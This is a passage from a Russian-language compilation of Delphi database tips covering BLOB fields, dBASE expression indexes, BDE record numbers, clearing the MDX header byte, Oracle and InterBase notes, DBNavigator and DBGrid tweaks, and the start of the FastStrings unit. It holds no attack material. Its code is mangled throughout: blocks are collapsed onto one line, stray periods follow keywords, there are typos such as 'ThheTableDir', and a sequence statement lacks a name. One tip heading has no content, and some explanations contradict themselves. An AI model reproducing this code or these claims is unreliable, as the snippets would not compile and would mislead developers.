TSQLClientDataSet(BlobField.DataSet).ApplyUpdates(0);

End;

Вместо заключения.

«И зачем все это!?», – спросит внимательный читатель, – «Ведь в начале статьи написано, что данные BLOB-поля неплохо представляются в виде String. Почему просто не записать SQL запрос UPDATE mytable SET blobf='s' WHERE id=1, где s – строковая переменная, которая может содержать, какие угодно данные?». Действительно, в определенных ситуациях такое решение пригодно, но предположим, что в данной переменной содержится символ { ? } , тогда сервер посчитает ее концом присваемого значения и возникнет ошибка. При использовании вышеописанных способов такого не происходит. Конечно, для исключения подобных ситуаций можно проводить предварительную обработку переменной для замены «запрещенных» символов на другие, но это дополнительная работа. В любом случае, главное: «ВОЗМОЖНОСТЬ ВЫБОРА. Выбора решения поставленной задачи».

Автор: Андрей Пащенко.

©Drkb::02690.

Взято с http://delphiworld.narod.ru.

Использование PHP-like операций с массивами.

Code: //Some Array-functions like in PHP. Type. ArrOfStr = array of string; Implementation. Function explode(sPart, sInput: string): ArrOfStr; Begin. While Pos(sPart, sInput) <> 0 do. Begin. SetLength(Result, Length(Result) + 1); Result[Length(Result) - 1] := Copy(sInput, 0,Pos(sPart, sInput) - 1); Delete(sInput, 1,Pos(sPart, sInput)); End; SetLength(Result, Length(Result) + 1); Result[Length(Result) - 1] := sInput; End; Function implode(sPart: string; arrInp: ArrOfStr): string; Var. I: Integer; Begin. If Length(arrInp) <= 1 then Result := arrInp[0]. Else. Begin. For i := 0 to Length(arrInp) - 2 do Result := Result + arrInp[i] + sPart; Result := Result + arrInp[Length(arrInp) - 1]; End; End; Procedure sort(arrInp: ArrOfStr); Var. SlTmp: TStringList; I: Integer; Begin. SlTmp := TStringList.Create; For i := 0 to Length(arrInp) - 1 do slTmp.Add(arrInp[i]); SlTmp.Sort; For i := 0 to slTmp.Count - 1 do arrInp[i] := slTmp[i]; SlTmp.Free; End; Procedure rsort(arrInp: ArrOfStr); Var. SlTmp: TStringList; I: Integer; Begin. SlTmp := TStringList.Create; For i := 0 to Length(arrInp) - 1 do slTmp.Add(arrInp[i]); SlTmp.Sort; For i := 0 to slTmp.Count - 1 do arrInp[slTmp.Count - 1 - i] := slTmp[i]; SlTmp.Free; End;

DBASE - Индексы выражений.

Введение.

Индексы для таблиц dBASE могут базироваться на значениях из отдельной области, нередактируемых данных, или на основе выражений. Индексы выражений, уникальные для индексов dBASE, могут формироваться на основе нескольких полей, измененных значений полей или их комбинаций. Выражение для dBASE-индекса создаются с использованием dBASE-функций и синтаксиса для конкатенации нескольких полей или изменения значений поля для полей, включенных в выражения индекса.

В конце данного совета включены два небольших раздела, описывающих механику создания индексов выражений dBASE, один относится к утилите Database Desktop, другой - к приложениям Delphi.

Индексные выражения на основе множества полей.

Функции dBASE доступны для применения в Delphi или Database Desktop для ускоренного использования в выражениях индекса, и затем только в связи с индексами dBASE. То есть, вы не сможете использовать функции dBASE или синтаксис для создания выражения индекса для таблицы Paradox или Local InterBase Server (LIBS). Функции dBASE не могут использоваться при программировании в Delphi. Они доступны только для выражений индесов dBASE. Синтаксис и функции dBASE, которые могут быть использованы для выражений индексов, "расположены" в библиотечном файле Borland Database Engine (BDE) IDDBAS01.DLL.

При создании индекса dBASE, который должен базироваться на двух или более полях таблицы, для которой он создается, два или более поля конкатенируются (связываются вместе) в величине, которая в некоторой степени похожа на Delphi тип String, с использованием синтакса Delphi: оператор "+". Например, выражению необходимо создать индекс, который должен базироваться в первую очередь на основе поля LastName, а затем на основе поля FirstName:

LastName + FirstName.

В отличие от самого dBASE, такие индексы, основанные на нескольких полях, ограничены использованием таких же полей в таблице. dBASE допускает создание индексов, основанных на нескольких полях, содержищихся в другой таблице. Это позволяет во время создания индекса иметь открытую только "другую" таблицу или использовать таблицу, содержащую индекс.

У индексов с несколькими полями для других типов таблиц (например, Paradox и InterBase), используемые поля должны быть разделены точкой с запятой (;), как показано ниже:

LastName;FirstName.

В выражениях индекса dBASE, в которых конкатенируются несколько полей, фактическое выражение должно выглядеть следующим образом:

LastName + FirstName.

При создании индексных выражений, которые конкатенируют два и более поля, все включенные поля должны иметь одинаковый тип. К тому же, если они должны конкатенироваться, вместо складывания, то все поля должны иметь тип String. Например, для двух целочисленных полей, Value1 и Value2, выражение индекса...

Value1 + Value2.

...не вызовет ошибку. Но в этом случае произойдет конкатенация двух значений полей и они суммируются. Таким образом, если Value1 для данной записи содержало 4, а Value2 - 5, результирующий индексный узел будет целой величиной 9, а не строковой конкантенацией "45".

Если поля, включенные в выражение индекса, имеют не строковый тип, они должны быть преобразованы. Вот некоторые функции dBASE, преобразовывающие различные типы данных к строковому типу для использования в выражениях индекса:

STR( [, [, ]]).

Преобразовывает dBASE-тип Float или Numeric в Character (String).

DTOS().

Преобразовывает значение Date к Character, формат YYYYMMDD.

MLINE(, ).

Извлекает отдельную строку из Memo-поля как значение Character.

Другое ограничение при создании индексов путем конкантенации нескольких полей - максимально допустимая длина индексной величины. Величина, возвращаемая индексным значением, не может превышать 100 символов. Это предел длины значения, возвращаемого выражением, не длина самого выражения. Например, вы не можете создать индекс путем конкантенации двух полей, если они оба имееют длину 255 символов.

Индексные выражения на основе модификации значений полей.

Дополнительно к созданию индексов, основанных на конкатенации значений двух и более полей, также возможно создать индекс, основанный на модификации значений полей. Примером этого может служить создание индекса на основе первых трех символов поля типа String, года и месяца поля с типом Date, индекс с использованием конкантенации полей с типами String и Date, где значение поля типа String отсортировано по возрастающей, а поле, имеющим тип Date - по убывающей, и даже создание индекса на основе поля с логическим типом.

Создание индексов на основе модификации значений полей требует, по крайней мере, практическое знание функций dBASE и синтаксиса, поскольку данная технология использует dBASE, а не функции и синтаксис Delphi. Функция dBASE SUBSTR() извлекает подстроку из поля типа String. Delphi-эквивалент данной dBASE-функции - Copy. Но только dBASE функция SUBSTR() может применяться при создании индексного выражения dBASE.

Использование фунций dBASE в индексных выражениях dBASE заключается в простом включении в индексное выражение функции, использование в функциях dBASE-синтаксиса и имени (имен) поля (полей), использующихся в функциях. Например, индексное выражение на основе трех последних символов значения поля типа String с именем Code, имеющим длину 20 символов выглядит так:

RIGHT(Code, 3).

Важно соблюдение следующего правила: конструкции индексных выражений dBASE, модифицирующих значения полей, должны возвращать величину с "последовательной длиной" для каждой записи таблицы, т.е. результат не должен содержать граничных пробелов. Например, функция dBASE TRIM() удаляет граничные пробелы (ASCII код 32) из значения поля типа String. Если это было использовано вместе с конкантенацией двух полей, имеющих тип String, где поле не имеет постоянной длины для разных записей, длина результирующего значения будет различная для всех записей. В свете этого рассмотрим следующий пример: построим индексное выражение на основе конкантенации полей LastName и FirstName field, где функция TRIM() применена к полю LastName:

TRIM(LastName) + FirstName.

Данное выражение не возратит значения "последовательной длины" для всех записей. Если поля LastName и FirstName содержали значения...

LastName FirstName.

-------- ---------

Smith Jonas.

Wesson Nancy.

...то результат использования индексного выражения может быть таким:

SmithJonas.

WessonNancy.

Как вы можете наблюдать, длина значения первого поля равна 10 символов, тогда как второго - 11 символов. Узлы индекса для данного индексного выражения должны базироваться на значении поля первой ненумерованной записи. Следовательно, результат выражения индекса для каждого узла должен быть равен 10 символов. В нашем примере результат вычисления для второй записи округляется до "WessonNanc". Все это приводит к тому, что поиск, основанный на поиске полных значений в полях, окончится неудачей.

Решение это дилеммы кроется в не использовании функции TRIM(), а в использовании полной длины значений поля LastName, включая граничные пробелы. В индексах, которые используют функции IIF() для установления порядка одного поля или другого, основанных на сравнении логических выражений в IIF(), если два поля имеют различную длину, более короткое поле должно быть заполнено пробелами до длины большей области. Для примера, создавая индекс с использованием функции IIF(), и индексируя поля Company или Name, базирующийся на поле Category, и где поле Company длиной 40 символов, а поле Name длиной 25 симловов, поле Name необходимо дополнять 15-ю пробелами; например, с помощью dBASE-функции SPACE(). Выражение индекса в этом случае будет таким:

IIF(Category = "B", Company, Name + SPACE(15)).

Поиск и выражения индексов dBASE.

Выражения индексов dBASE являются исключениями из правил в том, как они обрабатываются Delphi и BDE, по сравнению с обработкой индексов таблиц другого типа, также основанных на множестве полей.

Это вынуждает вынести dBASE-индексы в отдельный класс. Обработка таких индексов в Delphi и BDE отличается от обработки индексов для других типов таблиц. Одно из самых существенных различий заключается в том, что не все поисковые инструменты, основанные на индексах и использующие синтаксис Delphi, могут использовать выражения индексов dBASE. FindKey, FindNearest и GotoKey методы компонента TTable не годятся для работы с выражениями индексов. При попытке использования FindKey вы получите сообщение об ошибке: "Field index out of range." (Индекс поля за границами диапазона). При попытке использования метода GotoKey может произойти та же ошибка, или табличный курсор может остаться на месте (визуально искомая величина не найдена). С выражениями индексов может использоваться только метод GotoNearest. Но даже GotoNearest может не работать с некоторыми индексными выражениями. Только с помощью эксперимента можно установить - работает ли метод GotoNearest с данным индексным выражением.

Фильтрация индексных выражений dBASE.

Как и основанный на индексах поиск, индексные выражения dBASE при использовании фильтров Delphi также имеют некоторые исключения.

С активным индексным выражением метод SetRange компонента TTable приводит к следующей ошибке: "Field index out of range." (Индекс поля за границами диапазона). Тем не менее, с тем же активным индексным выражением методы SetRangeStart и SetRangeEnd успешно фильтруют набор данных.

Например, выражение индекса с конкантенацией поля LastName и активного FirstName, в приведенном ниже коде, использующем метод FindKey (предполагающий фильтрацию тех записей, где первый символ поля LastName содержит "S"), "вылетит" с ошибкой:

Code: Begin. Table1.SetRange(['S'], ['Szzz']). End;

Создание/пересоздание индекса.

Code: DbiRegenIndexes( Table1.Handle ); { Регенерация всех индексов }. Create index (зависит от существования выражения). If (( Pos('(',cTagExp) + Pos('+',cTagExp) ) > 0 ) then. Table1.AddIndex( cTagName, cTagExp, [ixExpression]) // <- ixExpression - _литерал_ Else. Table1.AddIndex( cTagName, cTagExp, []);

Показ меток удаленных записей в dBASE-файлах.

Для начала вы должны включить SoftDeletes, после чего вы сможете просматривать записи, помеченные к удалению. В противном случае, вы их не увидите. По умолчанию, для файлов DBF, SoftDeletes установлен в False. Вот логика работы:

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. B: BOOL; W: Word; Begin. Check(DbiSetProp(hDBIObj(Table1.Handle), curSOFTDELETEON, Longint(True))); { Проверяем, что это работает }. Check(DbiGetProp(hDBIObj(Table1.Handle), curSOFTDELETEON, @B, Sizeof(B), W)); If B = False then. Label2.Caption := 'Не помечена' Else. Label2.Caption := 'Помечена'; End;

Определение номера записи в таблице dBASE.

Таблицы dBASE применяют довольно статическую систему нумерации записей. Номер записи для данной записи (извините за тавтологию) отражает физическую позицию в табличном файле. Эти номера записей не изменяются вследствие фильтрации, упорядочивания данных или сортировки. К примеру, первая запись, хранящаяся в .DBF файле, будет иметь номер записи 1. Возможно, после некоторого упорядочивания индекса, запись будет последней из 100 записей. В этом случае запись должна оставаться с тем же номером, а не номером 100, отражающим новую позицию в сортированном наборе данных. Это противоречит таблицам Paradox, где соблюдается последовательная нумерация. Последовательная нумерация Paradox похожа на нумерацию записей dBASE, за исключением большей гибкости и отражению в номере записи ее текущей позиции в наборе данных. То есть, запись может не всегда иметь номер, установленный для нее фильтром набора данных, уменьшившим общее число записей, или при активном индексе, из-за чего может измениться отображаемый порядок записи.

В приложениях для работы с базами данных, созданных с помощью Delphi и Borland Database Engine (BDE), DB-компонентами не предусмотрено извлечение и определение записи таблицы dBASE. Такая операция, тем не менее, возможна с помощью вызова из вашего приложения функций BDE.

Существует несколько функций BDE, возвращающих информацию о текущей записи dBASE, например, ее номер. На самом деле, любая функция, заполняющая структуру BDE pRECProps, вполне достаточна. Например, функции BDE DbiGetRecord, DbiGetNextRecord и DbiGetPriorRecord. Естественно, только первая из них реально позволяет получить информацию о текущей записи. Две других перемещают при вводе указатель на запись, подобно методам Next и Prior компонентов TTable и TQuery.

Структура pRECProps состоит из следующих полей:

ISeqNum: тип LongInt; определяет текущий номер записи (относительно набора данных, включая фильтрацию и сортировку индекса); используется, если тип таблицы поддерживает последовательную нумерацию (только Paradox).

IPhyRecNum: тип LongInt; определяет номер записи; используется, если тип таблицы поддерживает физические номера записи (только dBASE).

BRecChanged: тип Boolean; в настоящее время не используется.

BSeqNumChanged: тип Boolean; в настоящее время не используется.

BDeleteFlag: тип Boolean; указывает на удаленную запись; используется, если тип таблицы поддерживает "мягкое" удаление (только dBASE).

Одна из этих BDE-функций может быть вызвана из вашего приложения для заполнения данной структуры, из которой затем может быть извлечен физический номер записи. Ниже - пример использования для этой цели функции DbiGetRecord.

Code: Function RecNo(ATable: TTable): LongInt; Var. R: RECProps; Rslt: DbiResult; Error: array[0..255] of Char; Begin. ATable.UpdateCursorPos; Rslt := DbiGetRecord(ATable.Handle, dbiNoLock, nil, @R); If rslt = DBIERR_NONE then. Result := R.iPhyRecNum. Else. Begin. DbiGetErrorString(rslt, Error); ShowMessage(StrPas(Error)); Result := -1; End; End;

Для вызова любой BDE-функции из приложения Delphi, модули-обертки BDE DbiTypes, DbiErrs и DbiProcs должны быть включены в секцию Uses модуля, из которого они будут вызываться (секция Uses здесь не показана). Для того, чтобы сделать функции более транспортабельными, они не имеют прямой ссылки на компонент TTable, но указатель на TTable передается как параметр. Если эта функция используется в модуле, который не ссылается на модули Delphi DB и DBTables, они должны быть добавлены, иначе ссылки на компонент TTable будут недействительными.

Метод TTable UpdateCursorPos вызывается для гарантии синхронизации номера текущей записи в компоненте TTable и связанной с ним таблицы.

В случае ошибок BDE функций, исключительная ситуация ими не генерируется. Вместо этого они возвращают значение BDE-типа DbiResult, указывающее на успешное завершение или ошибку операции. Возвращаемое значение должно быть получено и обработано внешним приложением, с выполнением соответствующих действий. Любой результат, кроме DBIERR_NONE, указывает на неудачное выполнение функции. В этом случае может быть осуществлено дополнительное действие (как в примере выше), где с помощью BDE функции DbiGetErrorString код ошибки переводится в удобночитаемое сообщение. В этом примере возвращаемое в DbiGetRecord значение сохраняется в переменной rslt, а затем для определения успешности вызова функции сравнивается с DBIERR_NONE.

Если вызов DbiGetRecord был успешным, физический номер записи из поля iPhyRecNum структуры pRECProps сохраняется в переменной Result, которая является возвращаемой функцией величиной. Чтобы указать на то, что функция потерпела неудачу (т.е., вызов фунции DbiGetRecord окончился неудачно), вместо номера записи возвращается отрицательная величина. Значение ее может быть произвольным (отрицательная величина совместимого типа) и отдается на усмотрение программисту.

©Drkb::02712.

Взято с http://delphiworld.narod.ru.

DBFSeek и DBFLocate.

Надежней и намного быстрее (если вы ищите отдельные записи) выполнить поиск строки с помощью Seek (если найдена первая запись), или выполнить Locate (индекс не требуется).

Например.

Code: Table1.UpdateCursorPos; If DBFSeek( Table1, xVal1 ) then {_не_ delphi-функция - смотри ниже}. Begin. If DBFLocate( Table1, 'CUSTNAME', xVal2 ) then {_не_ delphi-функция - модификация из faq}. Begin. //... делаем все, что необходимо. End; End;

Обработка исключения index not found.

Как мне открыть таблицу dBASE без требуемого MDX-файла? Я постоянно получаю исключение "Index not found..." (индекс не найден).

Во время создания таблицы dBASE с production-индексом (MDX) в заголовке DBF-файла устанавливается специальный байт. При последующем открытии таблицы, dBASE-драйвер читает этот специальный байт и, если он установлен, он также пытается открыть файл MDX. Если попытка открыть файл MDX заканчивается неудачей, возникает исключительная ситуация.

Для решения этой проблемы вам необходимо обнулить этот байт (28-й десятичный байт) в файле DBF, избавляющий таблицу от зависимости MDX-файла.

Нижеприведенным модуль является простым примером того, как можно обработать исключение при открытии таблицы, обнулив этот байт в DBF-файле и вновь открыв таблицу.

Code: Unit Fixit; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, DB, DBTables, Grids, DBGrids; Type. TForm1 = class(TForm). Table1: TTable; ; Button1: TButton; Procedure Button1Click(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Const. TheTableDir = 'c:\temp\'; TheTableName = 'animals.dbf'; Procedure RemoveMDXByte(dbFile: string); { Данная процедура использует в качестве параметра имя файла DBF }. { и исправляет его заголовок для того, чтобы не требовать MDX-файл }. Const. Value: Byte = 0; Var. F: file of byte; Begin. AssignFile(F, dbFile); Reset(F); Seek(F, 28); Write(F, Value); CloseFile(F); End; Procedure TForm1.Button1Click(Sender: TObject); { Данная процедура вызывается в ответ на нажатие кнопки. Она }. { пытается открыть таблицу и, если файл .MDX не найден, }. { DBF-файл исправляется и управление вновь передается данной }. { процедуре для повторного открытия таблицы, но уже без MDX }. Begin. Try. { устанавливаем каталог таблицы }. Table1.DatabaseName := ThheTableDir; { устанавливаем имя таблицы }. Table1.TableName := TheTableName; { пытаемся открыть таблицу }. Table1.Open; Except. On E: EDBEngineError do. { Нижеследующее сообщение указывает на то, что файл MDX не найден: }. If Pos('Index does not exist. File', E.Message) > 0 then. Begin. { Сообщаем пользователю о наличии проблемы. }. MessageDlg('Файл MDX не найден. Попытка открытия. Без индекса.', mtWarning, [mbOk], 0); { удаляем байт MDX из заголовка таблицы }. RemoveMDXByte(TheTableDir + TheTableName); { Посылаем кнопке сообщение для эмуляции ее нажатия. }. { Этот трюк заставит данную процедуру выполниться }. { повторно, и таблица будет открыта без файла MDX }. PostMessage(Button1.Handle, cn_Command, bn_Clicked, 0); End; End; End; End.

Как правильно соединяться с базой данных под Personal Oracle.

User/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение.

Автор: Nomadic.

©Drkb::02730.

Взято с http://delphiworld.narod.ru.

Как в Oracle создать sequence с некоторого номера.

Create sequence minvalue 10;

©Drkb::02722.

Взято с http://delphiworld.narod.ru.

В режиме отладки приложения не разрешается открытие базы данных.

Необходимо отключить (деинсталлировать через Oracle Installer) Trace Service на клиенте - совет от ORACLE. Глюк имеет место быть только под Windows NT 4.xx.

©Drkb::02718.

Взято с http://delphiworld.narod.ru.

Как поймать свой RAISEERROR в Delphi.

Code: Procedure TFDMUtils.GeneralError(DataSet: TDataSet; E: EDatabaseError; var. Action: TDataAction); Var. I: Word; ExtInfo: string; Begin. ExtInfo := ''; If (E is EDBEngineError) then. Begin. If (EDBEngineError(E).Errors[0].NativeError = 0) then. Begin // Local Error. If EDBEngineError(E).Errors[0].Errorcode = 9732 then. ExtInfo := DataSet.FieldByName(trim(copy(E.Message, 29, 20))).DisplayLabel; ....................................... End. Else. Begin // Remote SQL Server error. ExtInfo := ExtractFieldLabels(DataSet, E.Message); Case EDBEngineError(E).Errors[0].NativeError of. 233, 515: Alert('Ошибка', 'Не все поля заполнены ! ' + ExtInfo); 547: If (StrPos(PChar(E.Message), PChar('DELETE')) <> nil) then. Alert('Ошибка при удалении', 'Имеются подчиненные записи, удаление (изменение) невозможно! ' + ExtInfo). Else if (StrPos(PChar(E.Message), PChar('INSERT')) <> nil) then. Alert('Ошибка при вставке', 'Отсутствует запись в МАСТЕР-таблице! ' + ExtInfo). Else if (StrPos(PChar(E.Message), PChar('UPDATE')) <> nil) then. Alert('Ошибка при обновлении', 'Отсутствует запись в МАСТЕР-таблице! ' + ExtInfo); 2601: Alert('Ошибка', 'Такая запись уже есть!'); Else. Alert('Ошибка', 'Неизвестная ошибка, код - ' + Inttostr(EDBEngineError(E).Errors[0].NativeError) + ExtInfo); End; End; End; End;

Как использовать format parameter больше одного раза?

Sometimes you probably have written something like this:

Задание псевдонима программным путем.

Эта информация поможет вам разобраться в вопросе создания и использования ПСЕВДОНИМОВ баз данных в ваших приложениях.

Вне Delphi создание и конфигурирование псевдонимов осуществляется утилитой BDECFG.EXE. Тем не менее, применяя компонент TDatabase, вы можете в вашем приложении создать и использовать псевдоним, не определенный в IDAPI.CFG.

Важно понять, что создав псевдоним, использовать его можно только в текущем сеансе вашего приложения. Псевдонимы определяеют расположение таблиц базы данных и параметры связи с сервером баз данных. В конце концов, вы получаете преимущества использования псевдонимов в пределах вашего приложения без необходимости беспокоиться о наличии их в конфигурационном файле IDAPI.CFG в момент инициализации приложения.

Некоторые варианты решения задачи:

Пример #1:

Пример #1 создает и конфигурирует псевдоним для базы данных STANDARD (.DB, .DBF). Псевдоним затем используется компонентом TTable.

Пример #2:

Пример #2 создает и конфигурирует псевдоним для базы данных INTERBASE (.gdb). Псевдоним затем используется компонентом TQuery для подключения к двум таблицам базы данных.

Пример #3:

Пример #3 создает и конфигурирует псевдоним для базы данных STANDARD (.DB, .DBF). Демонстрация ввода псевдонима пользователем и его конфигурация во время выполнения программы.

Пример #1: Используем базу данных .DB или .DBF (STANDARD).

Создаем новый проект.

Располагаем на форме следующие компоненты: - TDatabase, TTable, TDataSource, TDBGrid, and TButton.

Дважды щелкаем на компоненте TDatabase или через контекстное меню (правая кнопка мыши) вызываем редактор базы данных.

Присваиваем базе данных имя 'MyNewAlias'. Это имя будет выполнять роль псевдонима в свойстве DatabaseName для компонентов типа TTable, TQuery, TStoredProc.

Выбираем в поле Driver Name (имя драйвера) пункт STANDARD.

Щелкаем на кнопке Defaults. Это автоматически добавляет путь (PATH=) в секцию перекрытых параметров (окно Parameter Overrides).

Устанавливаем PATH= to C:\DELPHI\DEMOS\DATA (PATH=C:\DELPHI\DEMOS\DATA).

Нажимаем кнопку OK и закрываем окно редактора.

В компоненте TTable свойству DatabaseName присваиваем 'MyNewAlias'.

В компоненте TDataSource свойству DataSet присваиваем 'Table1'.

В компоненте DBGrid свойству DataSource присваиваем 'DataSource1'.

Создаем в компоненте TButton обработчик события OnClick.

Code: Procedure TForm1.Button1Click(Sender: TObject); Begin. Table1.Tablename:= 'CUSTOMER'; Table1.Active:= True; End;

Как заставить Interbase принять COLLATE PXW_CYRL по умолчанию.

(Это очень полезно при прямой работе с IB из различного CASE-инструментария, типа PowerDesigner или ErWIN).

Чтобы не писать каждый раз COLLATE, я сделал следующее:

Создал сохранённую процедуру.

Code: Create procedure fix_character_sets. As. Begin. Update. Rdb$character_sets. Set. Rdb$default_collate_name = 'PXW_CYRL' Where. Rdb$character_set_name = 'WIN1251' And. Rdb$default_collate_name = 'WIN1251' ; End.

Создание таблицы FOXPRO.

Code: If savedialog1.execute then. Begin. If FileExists(savedialog1.filename) then. DeleteFile(savedialog1.filename); //QUERY.DataSource НЕ ЗАПОЛНЕНО иначе взрыв гарантирован. With Session do. Begin. ConfigMode := cmSession; Try. AddStandardAlias('TEMPDB', extractfilepath(savedialog1.filename), 'FOXPRO'); //FOXPRO. Finally. ConfigMode := cmAll; End; End; With database1 do. Begin. Databasename:='tst'; LoginPrompt := False; Params.Values['PATH'] :=extractfilepath(savedialog1.filename); DriverName:='Microsoft FoxPro Driver (*.dbf)'; AliasName:='TEMPDB'; End; Query1.paramcheck := false; Query1.DatabaseName := 'tst'; Query1.SQL.Clear; Vrem:=Trim(ChangeFileExt(extractfilename(SaveDialog1.fileName),' ')); Query1.sql.Add('CREATE TABLE '''+vrem+''' ('); Query1.sql.Add('last_name CHAR(20),'); Query1.sql.Add('first_name CHAR(15),'); Query1.sql.Add('salary DECIMAL(10,2));'); //NUMERIC. Query1.ExecSQL; Query1.close; End; // от savedialog.

Выключение кнопок в DBNavigator.

Code: { Расширение DBNavigator: позволяет разработчику включать и выключать. Отдельные кнопки через методы EnableButton и DisableButton }. Unit GNav; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, DBCtrls; Type. TMyNavigator = class(TDBNavigator). Public. Procedure EnableButton(Btn: TNavigateBtn); Procedure DisableButton(Btn: TNavigateBtn); End; Procedure Register; Implementation. Procedure TMyNavigator.EnableButton(Btn: TNavigateBtn); Begin. Buttons[Btn].Enabled := True; End; Procedure TMyNavigator.DisableButton(Btn: TNavigateBtn); Begin. Buttons[Btn].Enabled := False; End; Procedure Register; Begin. RegisterComponents('Samples', [TMyNavigator]); End; End.

Нажать кнопку DBNavigator програмно.

DBNavigator1.BtnClick(nbInsert);

©Drkb::03081.

Взято с http://delphiworld.narod.ru.

Свойства кнопок DBNavigator.

Как можно узнать значения свойств кнопок компонента DBNavigator (enabled/disabled или видимая/невидимая)?

Для определения видимости вы можете использовать свойство VisibleButtons. Например:

Code: If nbRefresh in DBNavigator1.VisibleButtons then. ShowMessage('Кнопка Refresh видимая') ;

Настройки всплывающих подсказок в DBNavigator.

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. Ix: integer; Begin. With DBNavigator1 do. For ix := 0 to ControlCount - 1 do. If Controls[ix] is TNavButton then. With Controls[ix] as TNavButton do. Case index of. NbFirst: Hint := 'Подсказка для кнопки First'; NbPrior: Hint := 'Подсказка для кнопки Prior'; NbNext: Hint := 'Подсказка для кнопки Next'; NbLast: Hint := ''; {......} End; End;

DBNavigator без иконок.

Code: Var. C: shortint; S: string; Begin. S := 'A'; With DBNavigator1 do. For c := 0 to ControlCount - 1 do. If Controls[c] is TNavButton then. With TNavButton(Controls[c]) do. Begin. ListBox1.Items.Add(Name); Glyph := nil; Caption := s; Inc(s[1]); End; End;

Как изменить цвет отмеченных записей в DBGrid.

Code: DefaultDrawing := False; ... Procedure TfrmCard.GridDrawColumnCell(Sender: TObject; const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState); Var. Index: Integer; Marked, Selected: Boolean; Begin. Marked := False; If (dgMultiSelect in Grid.Options) and (THackDBGrid(Grid).Datalink.Active) then. Marked := Grid.SelectedRows.Find(THackDBGrid(Grid).Datalink.Datasource.Dataset.Bookmark, index); Selected := (THackDBGrid(Grid).Datalink.Active) and (Grid.Row-1 = THackDBGrid(Grid).Datalink.ActiveRecord); If Marked then. Begin. Grid.Canvas.Brush.Color:=$DFEFDF;; Grid.Canvas.Font.Color :=clBlack; End; If Selected then. Begin. Grid.Canvas.Brush.Color:=$FFFBF0; Grid.Canvas.Font.Color :=clBlack; If Marked then. Grid.Canvas.Brush.Color:=$EFE3DF; { $8F8A30 }. End; Grid.DefaultDrawColumnCell(Rect, DataCol, Column, State); End; Где: THackDBGrid = class(TDBGrid). Property DataLink; Property UpdateLock; End;

CheckBox в DBGrid.

Code: Procedure DrawGridCheckBox(Canvas: TCanvas; Rect: TRect; Checked: boolean); Var. DrawFlags: Integer; Begin. Canvas.TextRect(Rect, Rect.Left + 1, Rect.Top + 1, ' '); DrawFrameControl(Canvas.Handle, Rect, DFC_BUTTON, DFCS_BUTTONPUSH or DFCS_ADJUSTRECT); DrawFlags := DFCS_BUTTONCHECK or DFCS_ADJUSTRECT;// DFCS_BUTTONCHECK. If Checked then. DrawFlags := DrawFlags or DFCS_CHECKED; DrawFrameControl(Canvas.Handle, Rect, DFC_BUTTON, DrawFlags); End;

Быстрые операции с очень большими строками.

FastStrings.pas.

Code: //================================================== //All code herein is copyrighted by. //Peter Morris. //----- //Do not alter / remove this copyright notice. //Email me at : support@droopyeyes.com. // //The homepage for this library is http://www.droopyeyes.com. // // CURRENT VERSION V3.2. // //(Check out www.HowToDoThings.com for Delphi articles !). //(Check out www.stuckindoors.com if you need a free events page on your site !). //================================================== Unit FastStrings; Interface. Uses. {$IFNDEF LINUX}. Windows, {$ENDIF}. SysUtils; //This TYPE declaration will become apparent later. Type. TBMJumpTable = array[0..255] of Integer; TFastPosProc = function (const aSource, aFind: Pointer; const aSourceLen, aFindLen: Integer; var JumpTable: TBMJumpTable): Pointer; TFastPosIndexProc = function (const aSourceString, aFindString: string; const aSourceLen, aFindLen, StartPos: Integer; var JumpTable: TBMJumpTable): Integer; TFastTagReplaceProc = procedure (var Tag: string; const UserData: Integer); //Boyer-Moore routines. Procedure MakeBMTable(Buffer: PChar; BufferLen: Integer; var JumpTable: TBMJumpTable); Procedure MakeBMTableNoCase(Buffer: PChar; BufferLen: Integer; var JumpTable: TBMJumpTable); Function BMPos(const aSource, aFind: Pointer; const aSourceLen, aFindLen: Integer; var JumpTable: TBMJumpTable): Pointer; Function BMPosNoCase(const aSource, aFind: Pointer; const aSourceLen, aFindLen: Integer; var JumpTable: TBMJumpTable): Pointer; Function FastAnsiReplace(const S, OldPattern, NewPattern: string; Flags: TReplaceFlags): string; Procedure FastCharMove(const Source; var Dest; Count : Integer); Function FastCharPos(const aSource : string; const C: Char; StartPos : Integer): Integer; Function FastCharPosNoCase(const aSource : string; C: Char; StartPos : Integer): Integer; Function FastPos(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer; Function FastPosNoCase(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer; Function FastPosBack(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer; Function FastPosBackNoCase(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer; Function FastReplace(const aSourceString : string; const aFindString, aReplaceString : string; CaseSensitive : Boolean = False) : string; Function FastTagReplace(const SourceString, TagStart, TagEnd: string; FastTagReplaceProc: TFastTagReplaceProc; const UserData: Integer): string; Function SmartPos(const SearchStr,SourceStr : string; Const CaseSensitive : Boolean = TRUE; Const StartPos : Integer = 1; Const ForwardSearch : Boolean = TRUE) : Integer; Implementation. Const. CDeltaSize = 1.5; Var. GUpcaseTable : array[0..255] of char; GUpcaseLUT: Pointer; //MakeBMJumpTable takes a FindString and makes a JumpTable. Procedure MakeBMTable(Buffer: PChar; BufferLen: Integer; var JumpTable: TBMJumpTable); Begin. If BufferLen = 0 then raise Exception.Create('BufferLen is 0'); Asm. Push EDI. Push ESI. Mov EDI, JumpTable. Mov EAX, BufferLen. Mov ECX, $100. REPNE STOSD. Mov ECX, BufferLen. Mov EDI, JumpTable. Mov ESI, Buffer. Dec ECX. Xor EAX, EAX. @@loop: Mov AL, [ESI]. Lea ESI, ESI + 1. Mov [EDI + EAX * 4], ECX. Dec ECX. Jg @@loop. Pop ESI. Pop EDI. End; End; Procedure MakeBMTableNoCase(Buffer: PChar; BufferLen: Integer; var JumpTable: 